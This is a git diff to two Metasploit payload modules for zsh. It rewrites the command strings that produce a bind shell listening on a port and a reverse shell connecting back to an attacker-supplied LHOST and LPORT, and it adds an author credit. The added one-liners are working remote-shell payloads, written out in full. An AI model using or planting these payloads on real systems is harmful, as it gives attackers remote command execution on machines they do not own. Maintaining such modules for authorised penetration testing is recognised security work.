diff --git a/modules/payloads/singles/cmd/unix/bind_zsh.rb b/modules/payloads/singles/cmd/unix/bind_zsh.rb index 943c1a50a0..d87f563552 100644 --- a/modules/payloads/singles/cmd/unix/bind_zsh.rb +++ b/modules/payloads/singles/cmd/unix/bind_zsh.rb @@ -9,7 +9,7 @@ require 'msf/base/sessions/command_shell_options' module MetasploitModule - CachedSize = 112 + CachedSize = 99 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions @@ -23,7 +23,8 @@ module MetasploitModule }, 'Author' => [ - 'Doug Prostko ' + 'Doug Prostko ', # Initial payload + 'Wang Yihang ' # Simplified redirections ], 'License' => MSF_LICENSE, 'Platform' => 'unix', @@ -44,18 +45,13 @@ module MetasploitModule # Constructs the payload # def generate - return super + command_string + super + command_string end # # Returns the command string to use for execution # def command_string - cmd = "zmodload zsh/net/tcp;" - cmd << "ztcp -l #{datastore['LPORT']};" - cmd << "ztcp -a $REPLY;" - cmd << "while read -r cmd <&$REPLY;do eval ${cmd} >&$REPLY;done;" - cmd << "ztcp -c" - cmd + "zsh -c 'zmodload zsh/net/tcp && ztcp -l #{datastore['LPORT']} && ztcp -a $REPLY && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'" end end diff --git a/modules/payloads/singles/cmd/unix/reverse_zsh.rb b/modules/payloads/singles/cmd/unix/reverse_zsh.rb index 813d6daf41..8477c9559f 100644 --- a/modules/payloads/singles/cmd/unix/reverse_zsh.rb +++ b/modules/payloads/singles/cmd/unix/reverse_zsh.rb @@ -9,7 +9,7 @@ require 'msf/base/sessions/command_shell_options' module MetasploitModule - CachedSize = 110 + CachedSize = 94 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions @@ -21,7 +21,11 @@ module MetasploitModule Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default. }, - 'Author' => 'Doug Prostko ', + 'Author' => + [ + 'Doug Prostko ', # Initial payload + 'Wang Yihang ' # Simplified redirections + ], 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, @@ -34,14 +38,10 @@ module MetasploitModule end def generate - return super + command_string + super + command_string end def command_string - cmd = "zmodload zsh/net/tcp;" - cmd << "ztcp #{datastore['LHOST']} #{datastore['LPORT']};" - cmd << "while read -r cmd <&$REPLY;do eval ${cmd} >&$REPLY;done;" - cmd << "ztcp -c" - cmd + "zsh -c 'zmodload zsh/net/tcp && ztcp #{datastore['LHOST']} #{datastore['LPORT']} && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'" end end